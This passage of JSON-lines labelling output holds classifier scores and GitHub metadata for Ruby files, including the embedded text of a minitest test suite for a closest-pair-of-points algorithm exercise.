0.01369171266190261, "2": 0.002483656397100822, "3": 0.0009031119833799006, "4": 0.00024525318123158607}, "factual_density": {"0": 0.004171222787445712, "1": 0.007065066633552976, "2": 0.06026982573049955, "3": 0.337425510007459, "4": 0.5910683748410428}, "pretraining_utility": {"-2": 0.008664371938423433, "-1": 0.11057567117834873, "0": 0.449437211933039, "1": 0.3758886108674961, "2": 0.05543413408269277}, "math_density": {"0": 0.9953173426343898, "1": 0.0037137423424576073, "2": 0.00030099018040719965, "3": 0.00019798229906069196, "4": 0.00046994254368470516}, "code_density": {"0": 0.00021111281691178597, "1": 0.00037477551608406707, "2": 0.008044216599867702, "3": 0.06568394962989613, "4": 0.9256859454372404}, "reasoning_density": {"0": 0.7448796694529465, "1": 0.10072547160911083, "2": 0.10721291286586707, "3": 0.031473258642860824, "4": 0.015708687429214788}, "education_level": {"none": 0.0011195930859444225, "0": 0.0015632247531073614, "1": 0.005893525950306495, "2": 0.43104309863991025, "3": 0.4843640187095278, "4": 0.0760165388612037}, "creative_writing_quality": {"not_applicable": 0.9995489959098492, "-2": 5.9845237575431015e-05, "-1": 0.00011776249858607915, "0": 0.00020238047389792578, "1": 5.334013922857877e-05, "2": 1.7675740862800405e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 2.2621326808721048e-05, "Art & Design": 2.4391770337867098e-05, "Law & Crime": 1.5893104437516424e-05, "Education & Careers": 2.109297740396788e-05, "Entertainment & Media": 1.2469960114119363e-05, "Fashion & Beauty": 9.734309230905426e-06, "Business, Economics & Finance": 2.3278807776993013e-05, "Food & Dining": 1.0522312062015938e-05, "Games & Gaming": 2.8397132821695495e-05, "Electronics & Hardware": 0.0001325103865749426, "Health, Healthcare & Wellness": 1.1718533003208156e-05, "History & Geography": 2.027839984254798e-05, "Home, Pets & Hobbies": 2.4925427797944492e-05, "Industry & Production": 2.2354454377679823e-05, "Language, Literature & Philosophy": 4.7238098868372904e-05, "Politics & Government": 1.0323954897048436e-05, "Religion & Spirituality": 1.7245830398088872e-05, "Science, Mathematics & Engineering": 0.00018284165903913053, "Relationships & Community": 1.1645704935073196e-05, "Software Usage & Applications": 0.0012686813530689664, "Programming & Software Engineering": 0.9978143570322233, "Sports & Fitness": 2.9534415187510764e-05, "Vehicles & Transportation": 1.0830251368499642e-05, "Travel & Tourism": 2.5553142552761537e-05, "Other / Uncovered Subject": 0.0001558472349703947, "Unknown / Insufficient Content": 4.571241990066843e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.00017895845992078457, "Art & Design": 0.00013347581719227447, "Law & Crime": 0.00015836835153139274, "Education & Careers": 0.00011241312921013267, "Entertainment & Media": 0.00012655695137418714, "Fashion & Beauty": 6.783809297731153e-05, "Business, Economics & Finance": 0.000185707431678593, "Food & Dining": 7.386174001096242e-05, "Games & Gaming": 0.00011675429100452705, "Electronics & Hardware": 0.000900849264892927, "Health, Healthcare & Wellness": 7.08978352546366e-05, "History & Geography": 8.806699316857634e-05, "Home, Pets & Hobbies": 6.95726447128869e-05, "Industry & Production": 7.591653868456364e-05, "Language, Literature & Philosophy": 0.00019182858417482254, "Politics & Government": 7.518902770066036e-05, "Religion & Spirituality": 9.480029202190178e-05, "Science, Mathematics & Engineering": 0.000616654947847974, "Relationships & Community": 5.023579974777762e-05, "Software Usage & Applications": 0.011105565461162334, "Programming & Software Engineering": 0.017770726066321747, "Sports & Fitness": 7.512502164008466e-05, "Vehicles & Transportation": 3.7477403727142016e-05, "Travel & Tourism": 0.00010886729376914508, "Other / Uncovered Subject": 0.00024411468143582346, "NONE": 0.9672701778788368}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "education_level": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 1.0000000000000004, "mass_delta": 4.440892098500626e-16, "missing_mass": 0.0, "excess_mass": 4.440892098500626e-16, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 9920, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 9920, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:33:11.252696+00:00", "scoring_key_slot": "primary", "dataset_uid": "83ab68ec-329c-48ff-94a9-2e0b6d85f8a3", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "4532e7e3facf946bb476d21b8c6a66b677f2bced072c10119516f721f004d643", "source_metadata": {"uuid": "83ab68ec-329c-48ff-94a9-2e0b6d85f8a3", "repo_name": "barmalei/lithium", "relative_path": "lib/lithium/java-artifact/misc.rb", "category": "TOOL", "algo_rel_score": 0.7506830096244812, "quality_score": 5.42158317565918, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 69, "repo_created_at": "2019-03-13T16:40:54.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "fce20bbeff3a63aa701643deba3f3e42e53f1812", "size_bytes": 5648, "file_timestamp": 1591546644, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "fc9cee7de52d83130b236256edd705113d8e198b"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 69, "repo_created_at": "2019-03-13T16:40:54.000Z", "is_fork": false, "is_org_owned": false, "forked_from": null, "stars": 1, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "fce20bbeff3a63aa701643deba3f3e42e53f1812", "size_bytes": 5648, "file_timestamp": 1591546644, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "fc9cee7de52d83130b236256edd705113d8e198b", "url": "https://github.com/barmalei/lithium/blob/fc9cee7de52d83130b236256edd705113d8e198b/lib/lithium/java-artifact/misc.rb"}, "gpt4o_tokens": 1347, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.7479389486648191, "noise_severity": 0.00822518077951583, "missing_content_severity": 0.022349374131170302, "factual_density": 3.5041547474811003, "pretraining_utility": 0.35885246397768605, "math_density": 0.006789439775192903, "code_density": 3.9162588393544695, "reasoning_density": 0.4724058229862866, "education_level": 2.6280803153539023, "creative_writing_quality": -0.3298447974895661}, "score_applicability": {"education_level": 0.9988804069140556, "creative_writing_quality": 0.0004510040901508151}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/MarcPer/cs-algorithms/blob/47b0576e1b6fea136d8489264f06aa17af78e75b/algorithmic-toolbox/week4/7_closest_points/closest_test.rb", "id": "ruby-0-a43a449b617ac4d692252cd5b5271a22", "text": "require 'minitest/autorun'\nrequire_relative './closest.rb'\n\nclass SolutionTest < Minitest::Test\n INPUTS = [\n {'points'=>[[0,0],[0,0]], 'exp_output' => 0.0},\n {'points'=>[[1,1],[1,1]], 'exp_output' => 0.0},\n {'points'=>[[1e-9, 0],[1e-9, 1e9]], 'exp_output' => 1e9},\n {'points'=>[[1e9, 0],[1e8, 0]], 'exp_output' => 9e8},\n {'points'=>[[1e9, 0],[-1e9, 0]], 'exp_output' => 2e9},\n {'points'=> Array.new(99_999) { |i| [i,i] }, 'exp_output' => 1.4142, 'skip_naive' => true},\n {'points'=>[[-1, 3], [-1, -3], [0, 1], [0,-1], [1, 3], [1, -3]], 'exp_output' => 2},\n {'points'=>[[0, 1], [0, 0], [0, -1], [0.5, 0]], 'exp_output' => 0.5},\n {'points'=>[[1,1], [1,1], [0,0], [0,0]], 'exp_output' => 0.0},\n {'points'=>[[0,0],[3,4]], 'exp_output' => 5.0},\n {'points'=>[[-1,-1], [-1,1], [1, 1], [1, -1]], 'exp_output' => 2.0},\n {'points'=>[[-1,-2], [-1,2], [1, -2], [1, 2]], 'exp_output' => 2.0},\n {'points'=>[[-10,0], [10,0], [-10, 1], [10, 2]], 'exp_output' => 1.0},\n {'points'=>[[-1,0], [0,0], [1,0]], 'exp_output' => 1.0},\n {'points'=>[[0,-1], [0,0], [0,1]], 'exp_output' => 1.0},\n {'points'=>[[-100,0], [0,0], [10,0]], 'exp_output' => 10.0},\n {'points'=>[[10,0], [0,0], [-100,0], [10, 1]], 'exp_output' => 1.0},\n {'points'=>[[7, 7], [1, 100], [4, 8], [7, 7]], 'exp_output' => 0},\n {'points'=>[[-1, 64], [-1, 32], [-1, 16], [-1, 8], [8, 8]], 'exp_output' => 8},\n {'points'=>[[0, 2], [-2, 0], [2, 2], [2, 2], [1, 0], [-2, 2], [2, 1]], 'exp_output' => 0},\n {'points'=>\n [\n [4,4], [-2,-2], [-3,-4], [-1,3], [2,3], [-4,0], [1,1],\n [-1,-1],[3,-1],[-4,2],[-2,4]\n ],\n 'exp_output' => 1.4142},\n ]\n\n def test_solution\n INPUTS.each do |input|\n out = closest(input['points'].dup)\n assert_equal input['exp_output'], out, input\n end\n end\n\n NUM_RAND_POINTS = 7\n MAX_POINT_VAL = 2\n def test_solution_random_input\n 1000.times do\n num_points = rand(NUM_RAND_POINTS-1)+2\n inputs = []\n num_points.times do\n inputs << [rand(2*MAX_POINT_VAL+1)-MAX_POINT_VAL, rand(2*MAX_POINT_VAL+1)-MAX_POINT_VAL]\n end\n expected_out, closest_points = naive_closest(inputs)\n out = closest(inputs.dup)\n assert_equal expected_out, out, \"input=#{inputs}, closest_points=#{closest_points}\"\n end\n end\n\n def test_naive_solution\n INPUTS.each do |input|\n next if input['skip_naive']\n out, _ = naive_closest(input['points'].dup)\n assert_equal input['exp_output'], out, input\n end\n end\nend\n\ndef naive_closest(points)\n closest_sq = Float::INFINITY\n closest_points = []\n points.each_with_index do |pt1, i|\n points[i+1..-1].each do |pt2|\n dist_sq = (pt1[0]-pt2[0])**2 + (pt1[1]-pt2[1])**2\n if dist_sq < closest_sq\n closest_sq = dist_sq\n closest_points = [pt1, pt2]\n end\n end\n end\n [Math.sqrt(closest_sq).round(4), closest_points]\nend\n", "text_preview": "require 'minitest/autorun' require_relative './closest.rb' class SolutionTest < Minitest::Test INPUTS = [ {'points'=>[[0,0],[0,0]], 'exp_output' => 0.0}, {'points'=>[[1,1],[1,1]], 'exp_output' => 0.0}, {'points'=>[[1e-9, 0],[1e-9, 1e9]], 'e", "input_sha256": "dc2de3ac4489f2339ba46a035fd8a0ff7eacf15f529b4a945bd8c73ef3eb22e7", "text_sha256": "a43a449b617ac4d692252cd5b5271a2239782c4e636c6c5763ed8a40fc5fd4ee", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16064, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "needs_review", "training_eligible": false, "label": null, "candidate_label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": ["structured_records"]}, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": {"main_topic": "Science, Mathematics & Engineering", "sub_topic": null}}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 4, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.264509881531395, "noise_severity": 0.01515209405909862, "missing_content_severity": 0.0692792277554186, "factual_density": 3.3021229176732745, "pretraining_utility": 0.5821117225756168, "math_density": 3.2627304097081016, "code_density": 3.583864933249112, "reasoning_density": 1.0606680574155734, "education_level": 1.9835543105661264, "creative_writing_quality": -0.20667364075976147}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "Science, Mathematics & Engineering"}, "review_reasons": ["secondary_topic probability 0.5062 below 0.70"], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.1875108782484053, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.98003496351555, "secondary": 0.7087379956782953, "tertiary": 0.904401520807066, "structured_records": 0.9366790361002353, "procedural_steps": 0.028045605980858663, "worked_solution": 0.0984457247156001, "contextual_dialogue": 5.528750787300271e-06, "content_quality": 0.5757242270848504, "noise_severity": 0.9873732549507511, "missing_content_severity": 0.9422673102038178, "factual_density": 0.4184357647277285, "pretraining_utility": 0.46520402753184686, "math_density": 0.3856086747567511, "code_density": 0.6532207777075935, "reasoning_density": 0.11610995215368902, "education_level": 0.7996931476166934, "creative_writing_quality": 0.9996865016953909, "primary_topic": 0.9310711786741974, "secondary_topic": 0.4864230017645625}, "probability_margin": {"primary": 0.9668128064308869, "secondary": 0.48881089387421334, "tertiary": 0.8405506592972827, "education_level": 0.7412365017107776, "creative_writing_quality": 0.9996337811793892, "primary_topic": 0.8695179191727664, "secondary_topic": 0.22309920401217875}, "raw_probabilities": {"primary": {"Academic Writing": 7.461805627918503e-05, "Content Listing": 3.2382125695873505e-05, "Creative Writing": 2.786389712300048e-05, "Customer Support Page": 1.422594293501412e-05, "Q&A Forum": 1.9923012479993386e-05, "Discussion Thread": 1.5353670018042543e-05, "Comment Section": 1.9226583541970796e-05, "Missing Content": 3.17350604504914e-05, "Knowledge Article": 9.244241192868469e-05, "Legal Notices": 2.9498210986361755e-05, "News Article": 1.0018323460818656e-05, "Organizational Announcement": 1.9377749103346188e-05, "Nonfiction Writing": 2.629926743779708e-05, "Organizational About Page": 2.5478543304276726e-05, "Personal About Page": 2.0833807876165066e-05, "Personal Blog": 1.4957358024530528e-05, "Product Page": 1.3576010776459532e-05, "Spam / Ads": 1.764608131922006e-05, "Structured Data": 0.014054033604848575, "Technical Writing": 0.9808668400357354, "Transcript / Interview": 3.390683484499752e-05, "Tutorial / How-To Guide": 0.0009980843919760482, "User Reviews": 1.1999706316645435e-05, "Other / Unknown": 0.00352967931353673}, "secondary": {"Academic Writing": 0.001030316564148497, "Content Listing": 0.0005305082150335334, "Creative Writing": 0.0005202182335513737, "Customer Support Page": 0.0002700365328211911, "Q&A Forum": 0.0002425641071862744, "Discussion Thread": 0.00025220319069264955, "Comment Section": 0.000326913471949936, "Missing Content": 0.0005483402530951713, "Knowledge Article": 0.0009624377868178896, "Legal Notices": 0.0003344240044038234, "News Article": 0.00029848630555075325, "Organizational Announcement": 0.0003380047065421395, "Nonfiction Writing": 0.0003803006404382473, "Organizational About Page": 0.0003973501039845908, "Personal About Page": 0.0003075676850380817, "Personal Blog": 0.0002993283729795563, "Product Page": 0.00022879868585243913, "Spam / Ads": 0.0003225271130751124, "Structured Data": 0.23206301865081963, "Technical Writing": 0.037183730361261685, "Transcript / Interview": 0.00046339667858723516, "Tutorial / How-To Guide": 0.0016453424302388783, "User Reviews": 0.00018027338089829446, "NONE": 0.720873912525033}, "tertiary": {"Academic Writing": 0.0007865347648325957, "Content Listing": 0.00017016886735172086, "Creative Writing": 0.00019107436748445227, "Customer Support Page": 9.535790815599598e-05, "Q&A Forum": 7.144463813180508e-05, "Discussion Thread": 7.036094281483224e-05, "Comment Section": 0.00011200484744654315, "Missing Content": 0.00024746629474851716, "Knowledge Article": 0.0006745776392912546, "Legal Notices": 0.00014018115057782253, "News Article": 9.991440830529903e-05, "Organizational Announcement": 9.873271382657001e-05, "Nonfiction Writing": 0.00011988894222146402, "Organizational About Page": 0.00014779452412802863, "Personal About Page": 9.585500634501369e-05, "Personal Blog": 9.196272552876855e-05, "Product Page": 7.548112552352872e-05, "Spam / Ads": 0.00010579016860170332, "Structured Data": 0.0678341314761556, "Technical Writing": 0.019083672695864303, "Transcript / Interview": 0.00012070284216916844, "Tutorial / How-To Guide": 0.0011346814847827582, "User Reviews": 4.7429692274076805e-05, "NONE": 0.9083847907734383}, "structured_records": {"false": 0.06332096389976472, "true": 0.9366790361002353}, "procedural_steps": {"false": 0.9719543940191413, "true": 0.028045605980858663}, "worked_solution": {"false": 0.9015542752843999, "true": 0.0984457247156001}, "contextual_dialogue": {"false": 0.9999944712492127, "true": 5.528750787300271e-06}, "content_quality": {"-2": 0.0029802496401161588, "-1": 0.007739972011538006, "0": 0.09788983003996778, "1": 0.5045695437935908, "2": 0.3868204045147872}, "noise_severity": {"0": 0.9867318436778243, "1": 0.01195642161556343, "2": 0.0009069516283529426, "3": 0.0002373631262073025, "4": 0.00016741995205184828}, "missing_content_severity": {"0": 0.9627779775492291, "1": 0.010596043097145444, "2": 0.021873711265688604, "3": 0.004073310224851177, "4": 0.0006789578630856019}, "factual_density": {"0": 0.00485124697435425, "1": 0.013450315830223996, "2": 0.12056572857458617, "3": 0.3969896897894644, "4": 0.4641430188313712}, "pretraining_utility": {"-2": 0.007989949892263535, "-1": 0.08418663767177229, "0": 0.3374785971727483, "1": 0.4584113704945157, "2": 0.11193344476870024}, "math_density": {"0": 0.005700651250970472, "1": 0.017207763013887007, "2": 0.14179052783943813, "3": 0.37926264056747944, "4": 0.456038417328225}, "code_density": {"0": 0.0004458078162298389, "1": 0.0010163496499620078, "2": 0.06043119719257667, "3": 0.2904403921509291, "4": 0.6476662531903024}, "reasoning_density": {"0": 0.5318966002871219, "1": 0.08031291519143263, "2": 0.23975075414240257, "3": 0.09130528757683541, "4": 0.056734442802207304}, "education_level": {"none": 0.0010904218287858915, "0": 0.00177904648936138, "1": 0.0918411213031336, "2": 0.8330776230139112, "3": 0.06545211714288489, "4": 0.00675967022192308}, "creative_writing_quality": {"not_applicable": 0.9997387514128258, "-2": 4.005250030334602e-05, "-1": 5.4540349026887026e-05, "0": 0.00010497023343655263, "1": 4.271885583544778e-05, "2": 1.896664857176822e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.708677532242293e-05, "Art & Design": 0.00012266905579316675, "Law & Crime": 0.00010298392466303136, "Education & Careers": 8.69844733484667e-05, "Entertainment & Media": 7.324610493720191e-05, "Fashion & Beauty": 5.290524289731799e-05, "Business, Economics & Finance": 8.209830917713238e-05, "Food & Dining": 5.518736340738658e-05, "Games & Gaming": 0.00013799380908943411, "Electronics & Hardware": 7.961393030907317e-05, "Health, Healthcare & Wellness": 7.992331998781836e-05, "History & Geography": 0.00010486758288214697, "Home, Pets & Hobbies": 6.549284856313191e-05, "Industry & Production": 6.989145501000031e-05, "Language, Literature & Philosophy": 6.72998083477887e-05, "Politics & Government": 3.763601951327532e-05, "Religion & Spirituality": 5.8640235196298656e-05, "Science, Mathematics & Engineering": 0.06420436801396195, "Relationships & Community": 3.6837796227475906e-05, "Software Usage & Applications": 0.00022466872798820138, "Programming & Software Engineering": 0.9337222871867283, "Sports & Fitness": 9.733956227301956e-05, "Vehicles & Transportation": 5.146233495004213e-05, "Travel & Tourism": 7.399054813779301e-05, "Other / Uncovered Subject": 0.00014675159388651587, "Unknown / Insufficient Content": 7.777397740145638e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005512942166942905, "Art & Design": 0.0005710386144201418, "Law & Crime": 0.00047858620429131474, "Education & Careers": 0.0005901888205795101, "Entertainment & Media": 0.00030077791313550906, "Fashion & Beauty": 0.0002504824263734476, "Business, Economics & Finance": 0.00036223368411117564, "Food & Dining": 0.0002309432366949754, "Games & Gaming": 0.0003974185554654698, "Electronics & Hardware": 0.0003735467455988027, "Health, Healthcare & Wellness": 0.0003601203463517065, "History & Geography": 0.00036937440458087987, "Home, Pets & Hobbies": 0.00026679638487029527, "Industry & Production": 0.00029135093420147405, "Language, Literature & Philosophy": 0.00021014249557498867, "Politics & Government": 0.00018348249028524716, "Religion & Spirituality": 0.000327832178875999, "Science, Mathematics & Engineering": 0.5061759632351562, "Relationships & Community": 0.00016030499888573533, "Software Usage & Applications": 0.0003724223604524185, "Programming & Software Engineering": 0.20272029665652516, "Sports & Fitness": 0.0003439110175783637, "Vehicles & Transportation": 0.00020483586933217393, "Travel & Tourism": 0.00039034218455975925, "Other / Uncovered Subject": 0.0004395548024273723, "NONE": 0.2830767592229775}}, "probabilities": {"primary": {"Academic Writing": 7.461805627918506e-05, "Content Listing": 3.238212569587352e-05, "Creative Writing": 2.786389712300049e-05, "Customer Support Page": 1.4225942935014124e-05, "Q&A Forum": 1.9923012479993393e-05, "Discussion Thread": 1.535367001804255e-05, "Comment Section": 1.9226583541970802e-05, "Missing Content": 3.1735060450491415e-05, "Knowledge Article": 9.244241192868472e-05, "Legal Notices": 2.9498210986361765e-05, "News Article": 1.001832346081866e-05, "Organizational Announcement": 1.9377749103346195e-05, "Nonfiction Writing": 2.629926743779709e-05, "Organizational About Page": 2.5478543304276736e-05, "Personal About Page": 2.0833807876165073e-05, "Personal Blog": 1.4957358024530533e-05, "Product Page": 1.3576010776459537e-05, "Spam / Ads": 1.7646081319220065e-05, "Structured Data": 0.01405403360484858, "Technical Writing": 0.9808668400357358, "Transcript / Interview": 3.390683484499753e-05, "Tutorial / How-To Guide": 0.0009980843919760486, "User Reviews": 1.1999706316645438e-05, "Other / Unknown": 0.0035296793135367313}, "secondary": {"Academic Writing": 0.001030316564148497, "Content Listing": 0.0005305082150335334, "Creative Writing": 0.0005202182335513737, "Customer Support Page": 0.0002700365328211911, "Q&A Forum": 0.0002425641071862744, "Discussion Thread": 0.00025220319069264955, "Comment Section": 0.000326913471949936, "Missing Content": 0.0005483402530951713, "Knowledge Article": 0.0009624377868178896, "Legal Notices": 0.0003344240044038234, "News Article": 0.00029848630555075325, "Organizational Announcement": 0.0003380047065421395, "Nonfiction Writing": 0.0003803006404382473, "Organizational About Page": 0.0003973501039845908, "Personal About Page": 0.0003075676850380817, "Personal Blog": 0.0002993283729795563, "Product Page": 0.00022879868585243913, "Spam / Ads": 0.0003225271130751124, "Structured Data": 0.23206301865081963, "Technical Writing": 0.037183730361261685, "Transcript / Interview": 0.00046339667858723516, "Tutorial / How-To Guide": 0.0016453424302388783, "User Reviews": 0.00018027338089829446, "NONE": 0.720873912525033}, "tertiary": {"Academic Writing": 0.0007865347648325957, "Content Listing": 0.00017016886735172086, "Creative Writing": 0.00019107436748445227, "Customer Support Page": 9.535790815599598e-05, "Q&A Forum": 7.144463813180508e-05, "Discussion Thread": 7.036094281483224e-05, "Comment Section": 0.00011200484744654315, "Missing Content": 0.00024746629474851716, "Knowledge Article": 0.0006745776392912546, "Legal Notices": 0.00014018115057782253, "News Article": 9.991440830529903e-05, "Organizational Announcement": 9.873271382657001e-05, "Nonfiction Writing": 0.00011988894222146402, "Organizational About Page": 0.00014779452412802863, "Personal About Page": 9.585500634501369e-05, "Personal Blog": 9.196272552876855e-05, "Product Page": 7.548112552352872e-05, "Spam / Ads": 0.00010579016860170332, "Structured Data": 0.0678341314761556, "Technical Writing": 0.019083672695864303, "Transcript / Interview": 0.00012070284216916844, "Tutorial / How-To Guide": 0.0011346814847827582, "User Reviews": 4.7429692274076805e-05, "NONE": 0.9083847907734383}, "structured_records": {"false": 0.06332096389976472, "true": 0.9366790361002353}, "procedural_steps": {"false": 0.9719543940191413, "true": 0.028045605980858663}, "worked_solution": {"false": 0.9015542752843999, "true": 0.0984457247156001}, "contextual_dialogue": {"false": 0.9999944712492127, "true": 5.528750787300271e-06}, "content_quality": {"-2": 0.002980249640116159, "-1": 0.007739972011538007, "0": 0.09788983003996779, "1": 0.5045695437935909, "2": 0.3868204045147873}, "noise_severity": {"0": 0.9867318436778245, "1": 0.011956421615563434, "2": 0.0009069516283529428, "3": 0.00023736312620730257, "4": 0.0001674199520518483}, "missing_content_severity": {"0": 0.9627779775492292, "1": 0.010596043097145446, "2": 0.021873711265688607, "3": 0.004073310224851178, "4": 0.000678957863085602}, "factual_density": {"0": 0.00485124697435425, "1": 0.013450315830223996, "2": 0.12056572857458617, "3": 0.3969896897894644, "4": 0.4641430188313712}, "pretraining_utility": {"-2": 0.007989949892263535, "-1": 0.08418663767177229, "0": 0.3374785971727483, "1": 0.4584113704945157, "2": 0.11193344476870024}, "math_density": {"0": 0.005700651250970472, "1": 0.017207763013887007, "2": 0.14179052783943813, "3": 0.37926264056747944, "4": 0.456038417328225}, "code_density": {"0": 0.0004458078162298389, "1": 0.0010163496499620078, "2": 0.06043119719257667, "3": 0.2904403921509291, "4": 0.6476662531903024}, "reasoning_density": {"0": 0.531896600287122, "1": 0.08031291519143265, "2": 0.2397507541424026, "3": 0.09130528757683543, "4": 0.05673444280220731}, "education_level": {"none": 0.0010904218287858915, "0": 0.00177904648936138, "1": 0.0918411213031336, "2": 0.8330776230139112, "3": 0.06545211714288489, "4": 0.00675967022192308}, "creative_writing_quality": {"not_applicable": 0.999738751412826, "-2": 4.005250030334603e-05, "-1": 5.454034902688704e-05, "0": 0.00010497023343655266, "1": 4.2718855835447785e-05, "2": 1.8966648571768222e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 8.708677532242295e-05, "Art & Design": 0.00012266905579316677, "Law & Crime": 0.00010298392466303138, "Education & Careers": 8.698447334846671e-05, "Entertainment & Media": 7.324610493720192e-05, "Fashion & Beauty": 5.2905242897318e-05, "Business, Economics & Finance": 8.20983091771324e-05, "Food & Dining": 5.5187363407386586e-05, "Games & Gaming": 0.00013799380908943414, "Electronics & Hardware": 7.961393030907318e-05, "Health, Healthcare & Wellness": 7.992331998781837e-05, "History & Geography": 0.00010486758288214698, "Home, Pets & Hobbies": 6.549284856313193e-05, "Industry & Production": 6.989145501000033e-05, "Language, Literature & Philosophy": 6.729980834778871e-05, "Politics & Government": 3.7636019513275324e-05, "Religion & Spirituality": 5.864023519629866e-05, "Science, Mathematics & Engineering": 0.06420436801396197, "Relationships & Community": 3.683779622747591e-05, "Software Usage & Applications": 0.0002246687279882014, "Programming & Software Engineering": 0.9337222871867285, "Sports & Fitness": 9.733956227301958e-05, "Vehicles & Transportation": 5.146233495004214e-05, "Travel & Tourism": 7.399054813779302e-05, "Other / Uncovered Subject": 0.0001467515938865159, "Unknown / Insufficient Content": 7.777397740145639e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005512942166942906, "Art & Design": 0.0005710386144201419, "Law & Crime": 0.0004785862042913148, "Education & Careers": 0.0005901888205795102, "Entertainment & Media": 0.0003007779131355091, "Fashion & Beauty": 0.0002504824263734477, "Business, Economics & Finance": 0.0003622336841111757, "Food & Dining": 0.00023094323669497542, "Games & Gaming": 0.00039741855546546987, "Electronics & Hardware": 0.00037354674559880274, "Health, Healthcare & Wellness": 0.00036012034635170655, "History & Geography": 0.0003693744045808799, "Home, Pets & Hobbies": 0.0002667963848702953, "Industry & Production": 0.0002913509342014741, "Language, Literature & Philosophy": 0.0002101424955749887, "Politics & Government": 0.0001834824902852472, "Religion & Spirituality": 0.00032783217887599904, "Science, Mathematics & Engineering": 0.5061759632351563, "Relationships & Community": 0.00016030499888573536, "Software Usage & Applications": 0.00037242236045241853, "Programming & Software Engineering": 0.2027202966565252, "Sports & Fitness": 0.00034391101757836375, "Vehicles & Transportation": 0.00020483586933217396, "Travel & 